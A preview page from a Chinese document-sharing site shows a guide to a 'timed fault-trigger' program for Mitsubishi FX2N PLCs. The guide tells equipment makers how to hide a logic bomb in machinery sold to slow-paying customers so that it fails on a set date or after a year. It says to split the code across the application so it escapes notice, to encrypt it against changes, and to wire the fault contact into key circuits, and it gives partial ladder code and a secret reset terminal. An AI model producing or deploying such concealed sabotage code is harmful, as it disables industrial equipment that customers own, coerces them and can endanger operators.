定時觸發(fā)故障PLC程序_第1頁
定時觸發(fā)故障PLC程序_第2頁
定時觸發(fā)故障PLC程序_第3頁
全文預覽已結束

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

1、定時觸發(fā)故障PLC程序    一、定時觸發(fā)故障PLC程序(PLC為實時時鐘) 該程序是用三菱PLC編程軟件GX Developer V7.08J(SW7D5C-GPPW)簡體中文版所編的程序,僅適用于三菱FX2N系列PLC。 該程序是為設備制造商收取剩余款項而設的籌碼,在設備制造商老板有要求時可以使用,僅適用于信譽度不好的客戶。該程序一旦觸發(fā),無論設備是否處于運行狀態(tài)、PLC是否處于運行狀態(tài)或通電狀態(tài),指定時間以后將會準時出現(xiàn)故障。請謹慎使用! 該程序應當嵌入應用程序之中,為避免他人識破,可以將程序分成多塊分別嵌入在應用程序的各個地方。 為避免他人修改你

2、的程序,應當將整個程序進行加密設置口令,具體操作方法請參閱程序加密的相關說明。 M490為故障觸點,應當串聯(lián)或并聯(lián)在程序多個關鍵動作回路中。 X20為定時觸發(fā)故障復位端子,要求該端子為沒有被使用的端子(否則請更換為另一個沒有被使用的端子)。需要解除還沒有被觸發(fā)的故障或已經(jīng)觸發(fā)的故障時,將該觸點和PLC的輸入COM端短接即可。如果系統(tǒng)當前時間還沒到故障觸發(fā)時間,一旦該端子與COM端子斷開,故障將在預定時間觸發(fā)!如果系統(tǒng)當前時間已經(jīng)過了指定的故障觸發(fā)時間,一旦該端子與COM端子斷開,故障將立即觸發(fā)!如果需要重新指定故障觸發(fā)時間,就必須得更改指定的故障觸發(fā)時間需要對PLC進行編程! 該程序指定的故障

3、觸發(fā)時間為2007年1月1日0時0分0秒,可以進行更改。 該程序中所用到的通用繼電器M481-M499、定時器T198、存儲區(qū)D0-D5,請不要在程序的其它地方使用,否則該程序可能無法正常發(fā)揮作用。 對于三菱其它系列PLC或其它品牌PLC,請對程序作相應更改各存儲器請按照相應存儲區(qū)域進行更改。 該程序并沒有修改PLC的系統(tǒng)時鐘,因此程序中的其它地方或和PLC通信的其它設備所調用的PLC系統(tǒng)時鐘反映的是正確的當前日期和時間。 在程序動作之前,應當檢查PLC的系統(tǒng)時鐘是否正確反映當前日期和時間(因為PLC的默認系統(tǒng)時鐘可能不正確,筆者就遇到過系統(tǒng)時鐘快一個小時多一點的情況)。檢查方法如下: 啟動三

4、菱PLC編程軟件GX Developer V7.08J(SW7D5C-GPPW)簡體中文版到一個新的窗口,將電腦與PLC正確連接(具體連接方法請參閱相關說明<比如采用SC09連接電纜或等同功能電纜,加接USB轉RS232電纜(需要加安裝驅動)等等>),然后點擊“在線”“PLC讀取”“確認”(對于部分筆記本電腦(比如頂星品牌龍尊系列某型號的筆記本電腦),默認串口為COM2,這種情況下需要將COM口選為COM2,具體操作方法不再贅述),然后選中“軟元件內存”再點擊“確定”.待軟元件內存?zhèn)魉偷诫娔X以后,馬上檢查M8018(年)、M8017(月)、M8016(日)、M8015(時)、M80

5、14(分)、M8013(秒)是否大概是當前正確時間(請注意,軟元件內存只是下載時的PLC內存,并不能實時反映PLC的當前軟元件內存數(shù)據(jù)。所以,軟元件內存數(shù)據(jù)中反映的系統(tǒng)時鐘比PLC當前系統(tǒng)時鐘要慢)?;蛘?,采用另外一種更簡單的方法:直接PLC在線連接的下拉菜單中選擇PLC時間設置選項,然后就可以看見非實時顯示的時鐘了這個時間是讀取瞬間的時鐘,不實時跟隨。 如果PLC的系統(tǒng)時鐘不能正確反映當前日期和時間,那就需要對軟元件內存進行修改。修改方法為:1、直接PLC在線連接的下拉菜單中選擇PLC時間設置選項,然后更改時間就可以了。但該方法一次性只能更改一回時間,一旦更改后時間就實時跟隨了,無法再進行更

6、改。如果需要再次更改,需要將該窗口關閉后重新打開,然后再進行時間的更改。 2、通過程序的相關指令(例如MOV指令寫時間對應的特殊存儲區(qū)D8013D8018或通過TWR指令來寫時間,具體指令此處就不再贅述了)。通過讀出軟元件內存后修改軟元件內存再寫回去的方法是行不通的經(jīng)過多次試驗,證明了PLC在寫入軟元件內存時根本不會重寫特殊存儲區(qū)的內容,也就是說特殊存儲區(qū)沒被列入“軟元件內存”的范圍之內二、定時觸發(fā)故障PLC程序(PLC非實時時鐘) 該程序是用三菱PLC編程軟件GX Developer V7.08J(SW7D5C-GPPW)簡體中文版所編的程序,僅適用于三菱FX2N系列PLC。 該程序是為設備

7、制造商收取剩余款項而設的籌碼,在設備制造商老板有要求時可以使用,僅適用于信譽度不好的客戶。該程序一旦觸發(fā),無論設備是否處于運行狀態(tài)、PLC是否處于運行狀態(tài)或通電狀態(tài),一年以后(時間長短可以修改)將會準時出現(xiàn)故障。請謹慎使用! 該程序應當嵌入應用程序之中,為避免他人識破,可以將程序分成多塊分別嵌入在應用程序的各個地方。 為避免他人修改你的程序,應當將整個程序進行加密設置口令,具體操作方法請參閱程序加密的相關說明。 X0是定時觸發(fā)故障觸發(fā)端子,X0只要在PLC處于運行狀態(tài)下至少動作過一次就可以了。 M490為故障觸點,應當串聯(lián)或并聯(lián)在程序多個關鍵動作回路中。 X1為定時觸發(fā)故障復位端子,要求在通常

8、情況下,連續(xù)動作時間不能超過30秒(時間可以修改),否則請改為另外一個輸入觸點。需要解除故障觸發(fā)功能時,讓X1保持通電30秒(時間可以修改)即可。也可以將X1改為最后一個未用的輸入觸點,需要永遠解除故障觸發(fā)功能時,將該觸點和PLC的輸入COM端短接即可。如果只是讓定時觸發(fā)故障復位端子接通超過30秒(時間可以修改)然后斷開,那么一年以后(時間長短可以修改)仍然會準時出現(xiàn)故障。如果希望永遠解除定時故障觸發(fā)功能,請將定時觸發(fā)故障復位端子和PLC的輸入COM端短接即可。 該程序中所用到的通用繼電器M480-M499、保持繼電器M1023、定時器T198、存儲區(qū)D0-D5,請不要在程序的其它地方使用,否

9、則該程序可能無法正常發(fā)揮作用。 對于三菱其它系列PLC或其它品牌PLC,請對程序作相應更改原保持繼電器M1023更換后仍然具有斷電保持功能,其它存儲器請按照相應存儲區(qū)域進行更改。 該程序動作后,PLC的系統(tǒng)時鐘并非是實時時鐘,因此程序中的其它地方或和PLC通信的其它設備所調用的PLC系統(tǒng)時鐘并不能正確反映當前日期和時間。plc的實時時鐘用TRD可以直接讀出來,年月日時(D8018,D8017,D8016,D8015)都到設定值時,M504就會置位(這是個保持繼電器)。寫在MC和MCR之間的程序就會停止工作。這是FX3U的程序,把R寄存器換成D寄存器就可用在FX2N等PLC上了.把M500-M5

10、04復位后程序就可工作.這種程序我寫過三種方式的:1,計數(shù)方式;2,累積計時;3,日期方式.目的有:1,完全停機方式;2,關閉自動工作,只有手動工作;3,關閉數(shù)學運算部分.LD X0201 OUT T198 K3004 LD X0015 ORI X0016 CMP K7 D8018 M48113 CMP K1 D8017 M48420 CMP K1 D8015 M48727 CMP K0 D814 M49434 CMP K0 D8013 M49741 LD M48242 or M48343 LD M48544 or M48645 ANB46 LD M48847 or M4

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論